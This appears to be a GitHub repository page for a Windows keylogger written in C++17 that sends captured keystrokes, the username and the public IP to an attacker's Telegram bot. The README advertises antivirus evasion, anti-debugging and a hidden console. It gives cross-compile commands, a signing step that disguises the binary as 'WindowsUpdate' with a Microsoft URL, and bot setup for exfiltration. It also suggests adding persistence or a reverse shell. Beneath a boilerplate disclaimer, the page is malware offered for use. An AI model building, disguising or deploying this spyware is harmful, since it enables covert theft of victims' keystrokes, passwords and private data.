Skip to content

This project is a stealth-focused Windows keylogger written in C++17, using native Windows API and WinHTTP for secure exfiltration of data to Telegram.

License

Notifications You must be signed in to change notification settings

HyperPS/KeyloggerUpdate

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🧩 Windows Keylogger with Telegram Exfiltration (WinHTTP, C++17)

⚠️ Disclaimer
This project is for educational and security research purposes only.
Unauthorized use against systems you do not own or operate with explicit permission is illegal and prohibited.


πŸ“Œ Overview

This project is a stealth-focused Windows keylogger written in C++17, leveraging the Windows API and WinHTTP to exfiltrate keystroke data securely to Telegram.

πŸ” Core Capabilities:

  • Captures all keystrokes via WH_KEYBOARD_LL hook.
  • Securely exfiltrates data using WinHTTP to a private Telegram bot.
  • Evades antivirus detection using manual API resolution (LoadLibraryA + GetProcAddress).
  • Generates a unique victim ID using CoCreateGuid.
  • Runs silently in the background (hidden console).
  • Implements anti-debugging via IsDebuggerPresent.

βš™οΈ Features

βœ… No static API imports β€” all Windows APIs are resolved at runtime.
βœ… Native WinHTTP for HTTP(S) communication (no external libraries).
βœ… Anti-debugging check β€” exits if debugger is detected.
βœ… Multi-threaded design for log handling.
βœ… Infinite message loop to persist process invisibly.
βœ… Graceful cleanup on exit.


πŸ—οΈ Build Instructions (Linux β†’ Windows)

πŸ”§ Requirements (Debian / Ubuntu / Kali)

Install the MinGW cross-compiler:

sudo apt update
sudo apt install g++-mingw-w64-x86-64

🧱 Compile the Keylogger

x86_64-w64-mingw32-g++ -std=c++17 update.cpp -o update.exe \
  -static-libgcc -static-libstdc++ \
  -lwinhttp -luser32 -lrpcrt4 -lole32 -ladvapi32

πŸ” Sign the Executable

osslsigncode sign \
  -certs mycert.pem \
  -key mykey.pem \
  -n "WindowsUpdate" \
  -i http://microsoft.com \
  -t http://timestamp.sectigo.com \
  -in update.exe \
  -out updateasus.exe

πŸ€– Telegram Bot Setup To enable Telegram exfiltration, edit the following lines in update.cpp: const std::string BOT_TOKEN_PLAINTEXT = "REPLACE_WITH_YOUR_TOKEN"; const std::string CHAT_ID_PLAINTEXT = "REPLACE_WITH_YOUR_CHAT_ID";


πŸ” Steps:

1.Create a bot via @BotFather on Telegram. 2.Start a chat with your bot. 3.Visit or search @userinfobot >to get chat-id 4.Replace both placeholders in the code. 5.Recompile the binary.

πŸ§ͺ Runtime Behavior

Sends "target online" notification to your Telegram bot. Shares: Victim's GUID Username Public IP Captures and periodically exfiltrates keystrokes. Hides the console window on launch. Self-terminates if any debugger is detected.

πŸ” Legal Disclaimer

This project is created for the following use cases: πŸ”¬ Malware reverse engineering practice πŸ›‘οΈ Cybersecurity education πŸ§ͺ Red team simulation on authorized systems only Do not deploy on systems you do not own or without consent. The developer assumes no responsibility for any misuse.

πŸ“Œ Additional Notes

❌ No use of WinINet, Boost, or cURL. βœ… Fully written in pure C++17 using low-level Windows API. πŸ”§ Can be extended with: Screenshot capture Registry persistence Reverse shell or remote execution

Stay safe. Test responsibly. Learn deeply.

About

This project is a stealth-focused Windows keylogger written in C++17, using native Windows API and WinHTTP for secure exfiltration of data to Telegram.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages